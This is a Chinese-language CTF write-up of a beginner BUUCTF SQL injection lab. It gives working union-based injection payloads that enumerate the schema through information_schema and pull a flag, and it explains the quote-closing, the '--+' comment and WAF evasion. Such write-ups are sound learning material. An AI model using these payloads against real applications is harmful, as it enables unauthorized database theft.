[第一章 web入门]SQL注入-1
🌐题目
题目类型:报错回显注入
F12:
🌐思路
1.判断字符型or数字型注入点
acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1and1=1==,回显正常
acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1and1=2==,回显正常
acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1’and’1’='1==,回显正常
acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1’and’1’='2==,回显失败
回显如下
发现是字符型注入
2.查字段
id=1' order by 3 --+ 回显正常
id=1' order by 4 --+ 回显失败
得知字段为3
3.查数据库名
?id=-1' union select 1,database(),3 --+
回显:
4.判断回显字段
调整三个字段的位置的元素,发现回显字段为:2 3
5.查表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
回显:
5.查fl4g and notes
?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’–+
?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘notes’–+
MySQL中的group_concat(column_name)
函数用于将information_schema.columns
表中column_name
字段的所有不同值连接成一个字符串,这里它针对的是当前选定数据库中表名为’notes’的所有列。
在SQL语句中,table_schema=database()
表示查询的是当前数据库(即执行该SQL命令时所连接的数据库)中的表信息。database()
是一个MySQL内置函数,它返回当前正在使用的数据库名。
table_name='notes'
这部分则指定了需要查询表名为 ‘notes’ 的表的相关信息。
所以整个条件 where table_schema=database() and table_name='notes'
用于筛选出当前数据库中名为 ‘notes’ 的表的详细数据或结构信息。如果这个表达式出现在SQL查询中,通常是用来获取关于 ‘notes’ 表的具体列信息、索引信息或其他元数据等。例如,在上述SQL注入尝试中,攻击者就是试图获取名为 ‘notes’ 的表的所有列名。
6.查fllllag
做的时候网页一直报错,原来是靶机不知道哪里出了点问题,重启一下就好了😅
?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+
🌐学习时的question:
(1)为什么在sql注入爆字段的时候,id=1’ order by 3 --+后面有一个–+
Answer:
在SQL注入攻击中,“id=1’ order by 3 --+” 这样的输入是为了利用注释符(–)来结束SQL语句的剩余部分,并避免可能的语法错误。这个构造的具体作用和目的如下:
-
注入攻击原理:攻击者尝试通过在用户可控的输入字段中插入恶意的SQL代码来获取数据库信息。
-
order by:
order by 3
是用于测试查询语句中目标表有多少个可排序的列。如果原本的查询可能是select * from users where id = '1'
,那么添加order by 3
后,正常情况下只有当users表至少有三个可排序的列时,该查询才不会报错。通过逐渐增加数字并观察服务器响应,攻击者可以确定表中的列数。 -
“–+” 注释符:
--
在SQL中是单行注释符,它后面的内容直到行尾都将被数据库引擎忽略。+
在某些数据库系统中(如MySQL),加号可能用来防止空格或编码问题导致注释失效,确保注释能正确生效。因此,
--+
结合起来就是确保紧跟其后的所有内容都被当作注释而不会被执行,这样可以避免原始查询语句中可能出现的其他约束条件或子句对当前注入测试产生干扰。 -
绕过WAF(Web应用防火墙)或防止错误回显:有时候,攻击者也会使用注释来绕过安全防护措施,例如Web应用防火墙可能会检测到不完整的SQL语句而阻止请求,或者服务器端可能返回详细的错误信息,暴露了数据库结构,注释则可以掩盖这种试探性注入行为,减少被系统发现的风险。
(2)为什么在sql注入爆字段的时候,id=1’ order by 3 --+有一个’
Answer:
在SQL注入攻击中,“id=1’ order by 3 --+” 这样的输入结构具有以下几个意图:
闭合原有参数:
'
单引号在这里用于结束原本SQL查询语句中的字符串参数。比如假设原始的SQL语句是 SELECT * FROM users WHERE id = '1'
,攻击者通过添加单引号 '
来闭合这个参数,这样后续的注入代码不会被视为原始参数的一部分。
(3)group_concat(table_name) from information_schema.tables where table_schema=database()–+
Answer:
在SQL注入场景中,表达式 group_concat(table_name) from information_schema.tables where table_schema=database()--+
有以下作用:
-
获取数据库中的所有表名:
information_schema.tables
是MySQL等数据库系统中存储所有数据库表信息的系统表。通过查询这个表,攻击者可以获取目标数据库的所有表的信息。 -
table_schema=database():
database()
函数返回当前正在使用的数据库名称。这里的条件语句使得查询只针对当前数据库中的表,而非服务器上的所有数据库。 -
GROUP_CONCAT函数:
GROUP_CONCAT(table_name)
是MySQL中的一个聚合函数,它会将同一组(在这个情况下是所有)记录的table_name
字段值连接成一个字符串,以逗号分隔。这样,攻击者可以通过一次查询获得当前数据库下所有表的名字,而不需要进行多次查询。